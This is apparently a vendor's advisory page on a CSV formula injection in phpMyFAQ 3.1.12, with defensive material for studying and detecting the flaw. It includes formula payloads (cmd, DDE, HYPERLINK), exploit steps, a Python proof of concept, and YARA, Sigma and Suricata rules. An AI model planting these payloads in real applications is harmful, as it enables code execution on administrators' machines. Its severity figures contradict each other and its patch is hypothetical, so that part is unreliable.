CVE-2023-53929
Executive Summary
CVE-2023-53929 is a CSV injection vulnerability in phpMyFAQ version 3.1.12. An authenticated attacker can inject malicious formulas (e.g., =cmd|' /C calc'!A0) into their profile name. When an administrator exports user data as a CSV file, the injected formula is executed by spreadsheet applications (e.g., Microsoft Excel, LibreOffice Calc). This can lead to arbitrary code execution on the administrator's machine. The vulnerability has a CVSS score of 0.0 in the NVD but is assessed as critical due to the potential for remote code execution. No official patch is available; mitigation relies on input sanitization and user awareness.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
phpMyFAQ is a PHP-based application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's CSV export functionality. The risk is to the administrator's client machine, not the server.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attacker can trigger the injection remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs an authenticated user account.
- User Interaction (UI): Required (R) – Administrator must export and open the CSV file.
- Scope (S): Unchanged (U) – The vulnerability affects the client machine, not the server.
- Confidentiality (C): High (H) – Potential for data exfiltration.
- Integrity (I): High (H) – Attacker can modify files on the admin's machine.
- Availability (A): High (H) – Attacker can cause system crashes.
Threat Level: Critical (9.0) – Exploitation requires user interaction but can lead to full compromise of the administrator's workstation.
Deep Dive & Mechanics
The vulnerability lies in the CSV export functionality of phpMyFAQ. When an administrator exports user data, the application does not sanitize user-controlled fields (e.g., profile name). An attacker can set their profile name to a string starting with =, +, -, or @, which spreadsheet applications interpret as formulas. For example:
=cmd|' /C calc'!A0– Executes the Windows calculator.=HYPERLINK("http://malicious.com","Click here")– Phishing link.=DDE("cmd","/C calc","")– DDE-based code execution.
The payload is stored in the database and only triggered when the CSV is opened in a spreadsheet application. The vulnerability is classified as CWE-1236 (Improper Neutralization of Formula Elements in a CSV File).
Vulnerable vs. Patched Code
Vulnerable Code (phpMyFAQ 3.1.12):
// In export function, no sanitization
$csvData = array($user->getDisplayName(), $user->getEmail());
fputcsv($file, $csvData);
Patched Code (Hypothetical):
// Sanitize fields starting with =, +, -, @
$safeName = preg_replace('/^[=+\-@]/', "'", $user->getDisplayName());
$csvData = array($safeName, $user->getEmail());
fputcsv($file, $csvData);
The patch adds a single quote prefix to prevent formula interpretation.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Authenticated user account on phpMyFAQ 3.1.12.
- Administrator exports user data as CSV.
Exploit Steps:
- Log in to phpMyFAQ.
- Navigate to profile settings.
- Set display name to:
=cmd|' /C calc'!A0 - Save profile.
- Wait for administrator to export user data (e.g., via Admin Panel > Users > Export CSV).
- Administrator opens CSV in Excel/LibreOffice – calculator executes.
Proof-of-Concept (Python):
import requests
target = "http://target.com/phpmyfaq"
session = requests.Session()
# Login
login_data = {"username": "attacker", "password": "password"}
session.post(f"{target}/login.php", data=login_data)
# Update profile with payload
payload = "=cmd|' /C calc'!A0"
profile_data = {"display_name": payload}
session.post(f"{target}/profile.php", data=profile_data)
print("Payload injected. Wait for admin to export CSV.")
Blue Team
Detection:
- Monitor for profile name changes containing
=,+,-,@. - Alert on CSV export events.
- Use endpoint protection to block formula execution.
Prevention:
- Sanitize CSV exports (add single quote prefix).
- Educate administrators to open CSV files in text editors first.
- Disable DDE and dynamic data exchange in Excel.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/profile.phpwithdisplay_namecontaining=,+,-,@. - File: CSV files containing formulas starting with
=,+,-,@. - Process: Unexpected execution of
calc.exe,cmd.exe, orpowershell.exewhen opening CSV files. - Registry: (Windows) Changes to Excel DDE settings.
Detection Engineering
YARA Rule
rule CVE_2023_53929_CSV_Injection {
meta:
description = "Detects CSV files with potential formula injection from phpMyFAQ"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-53929"
strings:
$formula1 = "=cmd|" ascii wide
$formula2 = "=DDE(" ascii wide
$formula3 = "=HYPERLINK(" ascii wide
$formula4 = "+cmd|" ascii wide
$formula5 = "-cmd|" ascii wide
$formula6 = "@cmd|" ascii wide
condition:
any of ($formula*)
}
Sigma Rule
title: CSV Formula Injection via phpMyFAQ Profile
id: 8f4b3c2a-1e5d-4f7b-9a0c-3d6e8f2b1a4c
status: experimental
description: Detects profile name changes containing formula injection characters
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: phpmyfaq
detection:
selection:
EventID: 1000 # Custom event for profile update
display_name|contains:
- '='
- '+'
- '-'
- '@'
condition: selection
falsepositives:
- Legitimate use of special characters in names
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-53929 phpMyFAQ CSV Injection - Profile Update"; flow:to_server,established; content:"POST"; http_method; content:"/profile.php"; http_uri; content:"display_name="; http_client_body; pcre:"/(%3D|=|%2B|\+|%2D|-|%40|@)/"; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Sanitize CSV exports by prefixing fields starting with
=,+,-,@with a single quote. - Short-term: Update to the latest phpMyFAQ version if a patch is released.
- Long-term: Implement input validation for all user-controlled fields.
- Administrative: Educate administrators to open CSV files in text editors or use "Get Data" feature in Excel.
- Technical: Disable DDE in Excel (File > Options > Trust Center > Trust Center Settings > External Content).
Valters IT – DevSecOps & Cyber Threat Intelligence